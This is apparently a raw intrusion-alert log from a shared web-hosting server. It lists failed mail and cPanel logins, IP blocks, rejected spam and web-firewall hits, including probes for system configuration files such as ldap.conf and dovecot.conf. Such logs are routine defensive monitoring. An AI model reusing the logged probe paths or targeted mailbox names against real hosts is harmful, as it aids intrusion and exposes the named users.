[2026-01-21 21:37:54 +0800] info [webmaild] 161.142.142.49 - kwangpeng@ktlog.com.my "POST /cpsess3179690987/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [161.142.152.13] != Current IP Address [161.142.142.49]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.142.49
country_id: 1733045
description:
[2026-01-21 21:38:53 +0800] info [webmaild] 161.142.142.49 - kwangpeng@ktlog.com.my "POST /cpsess3179690987/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 21:39:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.142.49
country_id: 1733045
description:
[2026-01-21 21:39:53 +0800] info [webmaild] 161.142.142.49 - kwangpeng@ktlog.com.my "POST /cpsess3179690987/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.159.226.30
country_id: 3041565
description:
2026-01-21 21:40:10 dovecot_login authenticator failed for H=(localhost) [98.159.226.30]:27006: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-21 21:40:38 +0800] info [cpaneld] 165.22.212.32 - agpc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.142.49
country_id: 1733045
description:
[2026-01-21 21:40:53 +0800] info [webmaild] 161.142.142.49 - kwangpeng@ktlog.com.my "POST /cpsess3179690987/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.164
country_id: 3175395
description:
Jan 21 21:41:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 21:42:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.36.70
country_id: 2510769
description:
2026-01-21 21:42:05 dovecot_login authenticator failed for H=(localhost) [158.173.36.70]:29395: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 21:42:20 H=([45.144.212.242]) [45.144.212.242]:53757 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.81
country_id: 3175395
description:
Jan 21 21:43:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 21:45:03 H=([45.144.212.242]) [45.144.212.242]:58523 F=<no_reply@admin.com> rejected RCPT <nuratiqah@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 21:50:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 21:52:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 21:53:24 H=([45.144.212.242]) [45.144.212.242]:56591 F=<no_reply@admin.com> rejected RCPT <ongkonaun@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 21:53:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 21:53:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.136.20
country_id: 99237
description:
Jan 21 21:54:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.136.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 21:54:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.17.82.60
country_id: 1562822
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/uploads/2021/04/223_100_logo.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 161.142.139.2
country_id: 1733045
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/openldap/ldap.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 22:06:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 73.27.128.240
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-08.73.27.128.240||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.170.59
country_id: 99237
description:
Jan 21 22:08:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.170.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.170.59
country_id: 99237
description:
2026-01-21 22:08:03 dovecot_login authenticator failed for H=([65.20.170.59]) [65.20.170.59]:43341: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.5
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/lib/sysusers.d/flatpak.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.224.217.14
country_id: 1814991
description:
Jan 21 22:11:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.224.217.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.242
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/lib/sysusers.d/mariadb.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.161
country_id: 3469034
description:
Jan 21 22:12:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.192.22.195
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=19931523525497 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.8.197
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=93811516604479 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 134.255.243.74
country_id: 2635167
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-15.134.255.243.74||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.115.154
country_id: 1269750
description:
Jan 21 22:16:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.115.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 22:16:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.189
country_id: 3175395
description:
Jan 21 22:17:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 22:20:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.164.19.180
country_id: 2921044
description:
Jan 21 22:20:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.164.19.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.164.19.180
country_id: 2921044
description:
2026-01-21 22:20:50 dovecot_plain authenticator failed for H=p54a413b4.dip0.t-ipconnect.de (guarly) [84.164.19.180]:35604: 535 Incorrect authentication data (set_id=fasya@pftfood.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.74.52
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-21.92.71.74.52||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.114.187
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-23.89.110.114.187||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.114.187
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-24.89.110.114.187||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.181.125.191
country_id: 6252001
description:
Jan 21 22:24:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.181.125.191 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.125.191
country_id: 6252001
description:
2026-01-21 22:24:33 dovecot_plain authenticator failed for H=schoolmanager.top (minester) [65.181.125.191]:40302: 535 Incorrect authentication data (set_id=hengchin.yeap@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.235.38.212
country_id: 3895114
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/compare.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.204
country_id: 2963597
description:
Jan 21 22:27:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.48
country_id: 798544
description:
Jan 21 22:28:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.253
country_id: 3469034
description:
Jan 21 22:29:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 22:31:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.40.91.252
country_id: 286963
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/tcomponent02.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.59.226.63
country_id: 3439705
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/tautomatic02.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.236.182.189
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-32.23.236.182.189||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 22:32:22 H=([45.144.212.242]) [45.144.212.242]:61406 F=<sales@saigonrachgiahotel.vn> rejected RCPT <emma@agsaintifik.com.my>: SPF: 45.144.212.242 is not allowed to send mail from saigonrachgiahotel.vn


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 22:33:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.57.119.180
country_id: 3439705
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/cold/10/236/1038560 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.173.242.15
country_id: 6252001
description:
2026-01-21 22:37:43 dovecot_login authenticator failed for H=(localhost) [46.173.242.15]:50546: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.173.242.15
country_id: 6252001
description:
2026-01-21 22:38:23 dovecot_login authenticator failed for H=(localhost) [46.173.242.15]:48114: 535 Incorrect authentication data (set_id=info@stillman.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 22:39:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 22:45:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 130.12.182.190
country_id: 6252001
description:
2026-01-21 22:47:42 495117 [Warning] Aborted connection 495117 to db: 'unconnected' user: 'unauthenticated' host: '130.12.182.190' (This connection closed normally without authentication)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.12.182.67
country_id: 6252001
description:
[2026-01-21 22:47:47 +0800] info [cpaneld] 130.12.182.67 - payment@tujusetia.my "GET /415.shtml HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.88.169.181
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-47.166.88.169.181||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.190
country_id: 6252001
description:
Jan 21 22:47:40 sv3 pure-ftpd[3468543]: (?@130.12.182.190) [INFO] New connection from 130.12.182.190


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.178.169.175
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=55321516002324 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 22:54:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 22:55:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.220.144
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=38541523525435 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.18.90
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=41771515117471 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 22:56:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.202.96.161
country_id: 3865483
description:
Jan 21 22:56:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.202.96.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.71
country_id: 3469034
description:
Jan 21 22:58:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.179.108
country_id: 3175395
description:
Jan 21 22:58:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.179.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.71
country_id: 3469034
description:
Jan 21 22:58:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.71 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 73.160.11.120
country_id: 6252001
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/var/run/dovecot/dovecot.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 23:02:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 23:06:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 23:07:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.183.19.217
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/mockery/mockery/docs/mockery/gotchas.rst HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.127.108.231
country_id: 99237
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/todaytogether/12/486/1225544 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.198.32
country_id: 2510769
description:
Jan 21 23:08:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.198.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.157.109.69
country_id: 453733
description:
Jan 21 23:08:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.157.109.69 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.118.225
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-08.89.110.118.225||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.157.109.69
country_id: 453733
description:
Jan 21 23:09:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.157.109.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 23:09:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 118.193.39.146
country_id: 1819730
description:
Jan 21 23:10:38 sv3 pure-ftpd[3484030]: (?@118.193.39.146) [INFO] New connection from 118.193.39.146


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.4
country_id: 798544
description:
Jan 21 23:10:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.4
country_id: 798544
description:
Jan 21 23:11:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 23:11:37 H=([45.144.212.242]) [45.144.212.242]:64756 F=<no_reply@admin.com> rejected RCPT <sabrina@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.6.200.125
country_id: 3469034
description:
Jan 21 23:12:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.6.200.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.205
country_id: 3469034
description:
Jan 21 23:12:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.205
country_id: 3469034
description:
Jan 21 23:13:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 23:13:12 H=([45.144.212.242]) [45.144.212.242]:61097 F=<no_reply@admin.com> rejected RCPT <saiful@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.44
country_id: 1269750
description:
Jan 21 23:14:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.189.61.162
country_id: 1814991
description:
Jan 21 23:14:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.189.61.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.189.61.162
country_id: 1814991
description:
2026-01-21 23:14:49 dovecot_login authenticator failed for H=([61.189.61.162]) [61.189.61.162]:59800: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.204
country_id: 298795
description:
Jan 21 23:14:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 21 23:15:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.44
country_id: 1269750
description:
Jan 21 23:15:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.30.113.9
country_id: 3175395
description:
Jan 21 23:15:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.30.113.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.26
country_id: 953987
description:
Jan 21 23:16:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.32
country_id: 3469034
description:
Jan 21 23:18:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 23:19:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.22
country_id: 241170
description:
Jan 21 23:20:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 85.121.5.30
country_id: 798549
domain: ajplantations.com.my
description:
